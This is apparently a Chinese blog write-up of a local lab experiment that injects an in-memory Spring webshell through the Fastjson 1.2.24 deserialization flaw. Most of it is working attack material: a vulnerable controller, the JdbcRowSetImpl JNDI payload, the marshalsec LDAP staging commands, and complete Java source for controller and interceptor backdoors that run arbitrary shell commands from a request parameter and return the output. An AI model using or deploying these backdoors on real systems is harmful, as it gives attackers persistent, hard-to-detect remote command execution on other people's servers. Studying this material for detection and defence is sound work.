利用Fastjson注入Spring内存马

此篇文章在于记录自己对spring内存马的实验研究

一、环境搭建

搭建漏洞环境，利用fastjson反序列化，通过JNDI下载恶意的class文件，触发恶意类的构造函数中代码，注入controller内存马。

1）组件版本：

fastjson: 1.2.24

spring-mvc: 4.3.28.RELEASE

JDK: 8u121

2）搭建springMVC+fastjson漏洞环境

可以参考网上的入门文章进行搭建，这里我放出我自己环境的配置文件

web.xml

  <servlet>
    <servlet-name>SpringMVC</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <!--配置springmvc.xml的路径-->
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:springmvc.xml</param-value>
    </init-param>
  </servlet>
  <servlet-mapping>
    <servlet-name>SpringMVC</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>
</web-app>

springmvc.xml

<!--将AnnotationHandler自动扫描到IOC容器中-->
    <context:component-scan base-package="test.controller"></context:component-scan>

    <mvc:annotation-driven/>

    <!--配置视图解析器-->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <!--配置前缀-->
        <property name="prefix" value="/"></property>
        <!--配置后缀-->
        <property name="suffix" value=".jsp"></property>
    </bean>

</beans>

HelloController

@Controller
public class HelloController {
    @ResponseBody
    @RequestMapping(value = "/hello", method = RequestMethod.POST)
    public Object hello(@RequestParam("code")String code) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.out.println(code);
        Object object = JSON.parse(code);
        return code + "->JSON.parseObject()->" + object;
    }
}

pom.xml

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
</dependency>

<dependency>
  <groupId>junit</groupId>
  <artifactId>junit</artifactId>
  <version>4.11</version>
  <scope>test</scope>
</dependency>
<!--SpringMVC依赖-->
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-webmvc</artifactId>
  <version>4.3.28.RELEASE</version>
</dependency>

二、动态注册controller

在springMVC中，也可以在服务器程序启动后，利用某种方式实现动态加载controller。

1）获取上下文

在LandGrey文章中介绍了四种方法，分别是

方式一：getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二：WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三：RequestContextUtils

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四：getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

而对于获取上下文来说，推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例

2）注册controller

使用registerMapping方法来动态注册我们的恶意controller

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

除了使用registerMapping方法注册controller外，还有其余的方式可以参考https://landgrey.me/blog/12/

三、内存马

以下是大佬的内存马，接下来进行一个改动，使之能进行回显

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
       
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
	// controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

修改回显

把test代码中的内容替换为以下

// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
    String arg0 = request.getParameter("cmd");
    PrintWriter writer = response.getWriter();
    if (arg0 != null) {
        String o = "";
        java.lang.ProcessBuilder p;
        if(System.getProperty("os.name").toLowerCase().contains("win")){
            p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
        }else{
            p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
        }
        java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
        o = c.hasNext() ? c.next(): o;
        c.close();
        writer.write(o);
        writer.flush();
        writer.close();
    }else{
        //当请求没有携带指定的参数(code)时，返回 404 错误
        response.sendError(404);
    }
}catch (Exception e){}

最终内存马

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
    // controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时，返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}

四、测试

fastjson<=1.2.24的 payload：

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

1）启动本地http服务，绑定端口8888

python3 -m http.server 8888

2）利用marshalsec启动LDAP服务，绑定端口9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

3）访问存在fastjson反序列化的页面，http://localhost:8080/hello

发送payload：

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}

成功写入内存马

踩坑

在实验过程中，我发现主要有两个比较难解决的点，导致实验难以继续

1.怎么编译恶意class文件

可以看到，一个恶意类是有大量的依赖，如果直接采用javac编译会报错

-》javac InjectToController.java
InjectToController.java:16: 错误: 编码GBK的不可映射字符
    // 绗竴涓瀯閫犲嚱鏁?
                 ^
InjectToController.java:19: 错误: 编码GBK的不可映射字符
        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
                              ^
InjectToController.java:19: 错误: 编码GBK的不可映射字符
        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
                                                                 ^

这时候可以利用idea自带的编译特性，先运行项目，然后在其项目的target目录中寻找编译后的class文件即可

2.可以弹出计算器，却无法注入内存马

直接进行debug后发现，在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常

原因在于springmvc.xml文件中，没有开启<mvc:annotation-driven/>选项。

<mvc:annotation-driven/> 是为 MVC 提供额外的支持，参考 Spring 的官方文档，<mvc:annotation-driven/> 最主要的作用是注册 HandlerMapping（实现为 DefaultAnnotationHandlerMapping）和 HandlerAdapter（实现为 AnnotationMethodHandlerAdapter）两个类型的 Bean，这两个 Bean 为 @Controllers（所有控制器）提供转发请求的功能。

而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。

五、后记

Interceptor内存马

其实不光是可以注入controller型的内存马，还可以注入Interceptor内存马

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
        // 获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 从context中获取AbstractHandlerMapping的实例对象
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
        // 反射获取adaptedInterceptors属性
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        // 避免重复添加
        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
                System.out.println("已经添加过TestInterceptor实例了");
                return;
            }
        }
        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环
        adaptedInterceptors.add(aaa);  //  添加全局interceptor
    }

    private TestInterceptor(String aaa){}

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        // 不干扰正常业务逻辑
        if (code != null) {
            java.lang.Runtime.getRuntime().exec(code);
            return true;
        }
        else {
            return true;
        }}}

注册效果：